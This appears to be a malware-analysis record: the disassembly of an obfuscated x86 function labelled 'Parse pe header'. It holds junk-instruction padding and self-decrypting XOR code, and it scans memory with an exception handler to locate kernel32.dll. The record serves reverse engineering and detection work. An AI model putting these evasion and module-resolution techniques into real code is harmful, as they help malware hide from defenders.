Function at 0x4301bd
Capabilities:
Parse pe header

Disassembly:
push edi
push esi
pop esi
push esi
push ebx
pop ebx
push ebx
push ebx
mov esi, dword [esp + 8]
add esp, 0xc
mov esi, dword [esp + 4]
add esp, 8
push ebx
push esi
pop ebx
sub ebx, 0x55717d2b
mov esi, ebx
pop ebx
push ebx
lea ebx, [esi]
add ebx, 0x55717d2b
xchg ebx, esi
pop ebx
mov dword [esp - 4], esi
sub esi, 0x421924d3
add esi, 0x421924d3
mov dword [esp - 4], esi
push esi
push 0x14
push ebx
push eax
add esp, 4
mov esi, dword [esp + 4]
add esp, 8
sub dword [esp], esi
push esi
push esi
add esp, 4
mov dword [esp], edi
add esp, 4
push ecx
mov esi, dword [esp + 4]
add esp, 8
push 0x49d0690b
add esi, dword [esp]
add esp, 4
push esp
push ebx
push esi
pop ebx
sub ebx, 0x49d0690b
mov esi, ebx
pop ebx
mov dword [esp], esi
mov ebx, esp
mov dword [ebx], 8
push ecx
push ebx
add esp, 4
push ecx
push eax
sub eax, ecx
pop eax
mov ebx, dword [esp + 8]
add esp, 0xc
mov dword [esi], ebx
mov esi, dword [esp]
add esp, 4
jmp 0x42fefa
mov ebx, dword [esp]
add esp, 4
push esi
push edi
pop edi
push ebx
push edi
add esp, 4
add esp, 4
push ecx
push edx
pop edx
push esp
pop ecx
pop ecx
push esi
push esi
add esp, 4
mov dword [esp], ebx
push ebx
push esi
add esp, 4
add esp, 4
mov ebx, esp
add ebx, 8
mov ebx, dword [ebx]
push eax
lea eax, [ebx]
add eax, 0xd3fd87ec
xchg eax, ebx
pop eax
add ebx, 0xf35d87fe
add ebx, 0xca27802
add ebx, 0x2c027814
push 8
add ebx, dword [esp]
add esp, 4
push esi
not dword [esp]
pop esi
push 0x7e0841e7
mov esi, dword [esp]
add esp, 4
jmp 0x42ff66
pushal
sub esi, 0x2762147e
xor ebx, 0x44243072
popal
add dword [ebx], esi
xor ebx, edi
xor ebx, edi
call 0x42ff8f
cli
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x1702cea2], 0xa6
mov ecx, 0x13949f2a
adc esi, ecx
push esp
mov ebx, esp
mov ebx, dword [ebx]
add esp, 4
mov ebx, dword [esp]
add esp, 4
sub edi, 0x54a12ee7
add edi, 0x54a12ee7
mov dword [esp - 4], edi
push edi
mov dword [esp], edx
push esi
pop esi
push ebx
push ebx
add esp, 4
push esi
push ecx
add ecx, esi
pop ecx
mov esi, dword [esp]
add esp, 4
push esi
push ebx
mov ebx, esi
pop ebx
push esi
push ebx
pop ebx
mov edx, dword [esp + 8]
add esp, 0xc
push eax
pop eax
push edx
push edx
add esp, 4
push esi
mov dword [esp], 0x2c905056
pop edx
push ecx
push edx
pop ecx
sub ecx, 0x2c905039
mov edx, ecx
pop ecx
sub dword [esp], edx
add esp, 4
mov edx, dword [esp - 4]
push esi
pop esi
push edx
push edx
add esp, 4
push esp
pop ebx
pop ebx
mov edx, esp
mov edx, dword [edx]
add esp, 4
add ebx, 0x42c83ed3
push esp
sub ebx, 0x42c83ed3
mov dword [esp], ebx
jmp 0x43001b
mov ebx, dword [esp]
add esp, 4
add edx, 0xba8294a
push esp
sub edx, 0xba8294a
mov dword [esp], edx
push edx
push esi
pop esi
add esp, 4
push edx
sbb edx, 0x3f523a23
not edx
pop edx
not edx
push 0x2050042
mov edx, dword [esp]
add esp, 4
push edx
push esi
add esp, 4
push esi
push esi
mov esi, 0x24b80804
mov dword [esp], esi
pop edx
pop esi
push esi
mov esi, 0x202a7806
add esi, 0x2888fcc
sub edx, esi
pop esi
sub dword [esp], edx
mov edx, dword [esp]
add esp, 4
push esp
mov dword [esp], edx
mov esi, dword [esp]
add esp, 4
mov edx, dword [esp]
add esp, 4
mov dword [ebx], esi
push ebx
lea ebx, [esi]
sub ebx, 0x2829195f
xchg ebx, esi
pop ebx
push esi
add dword [esp], 0x2829195f
pop esi
mov dword [esp - 4], esi
push esi
push edi
pop edi
add esp, 4
mov ebx, esp
mov ebx, dword [ebx]
add esp, 4
push ecx
push esi
pop esi
mov dword [esp], edx
mov esi, dword [esp + 4]
add esp, 8
pushal
call 0x4300c2
pop ebx
mov eax, 0x500311d3
sub eax, 0x50031032
add eax, ebx
xor dword [eax], 0x78c9aed2
call 0x4301bd
jmp 0x43019f
call fcn.004300df
push 0x86abc981
push 0x5ac18765
xor eax, eax
js 0x430223
insb byte es:[edi], dx
imul esi, dword [eax + eax + 0x61], 0xa6e9
add byte [ebp - 0x75], dl
in al, dx
mov ebx, 0x77000000
add ebx, 0x10000
cmp ebx, 0x80000000
jne 0x4301d8
mov ebx, 0xbff00000
call fcn.0043021c
cmp eax, 0
je 0x4301c5
cmp word [ebx], 0x5a4d
jne 0x4301c5
mov eax, dword [ebx + 0x3c]
add eax, ebx
cmp word [eax], 0x4550
jne 0x4301c5
test byte [eax + 0x17], 0x20
je 0x4301c5
mov eax, dword [eax + 0x78]
add eax, ebx
mov edx, dword [eax + 0xc]
add edx, ebx
cmp dword [edx], 0x4e52454b
jne 0x4301c5
cmp dword [edx + 4], 0x32334c45
jne 0x4301c5
mov eax, ebx
mov esp, ebp
pop ebp
ret
mov edx, 0x500311b8
sub edx, 0x50031192
add eax, edx
push eax
push dword fs:[0]
mov dword fs:[0], esp
mov ecx, dword [ebx]
mov ecx, 1
jmp 0x430255
pop dword fs:[0]
pop eax
mov dword [esp + 0x1c], ecx
popal
ret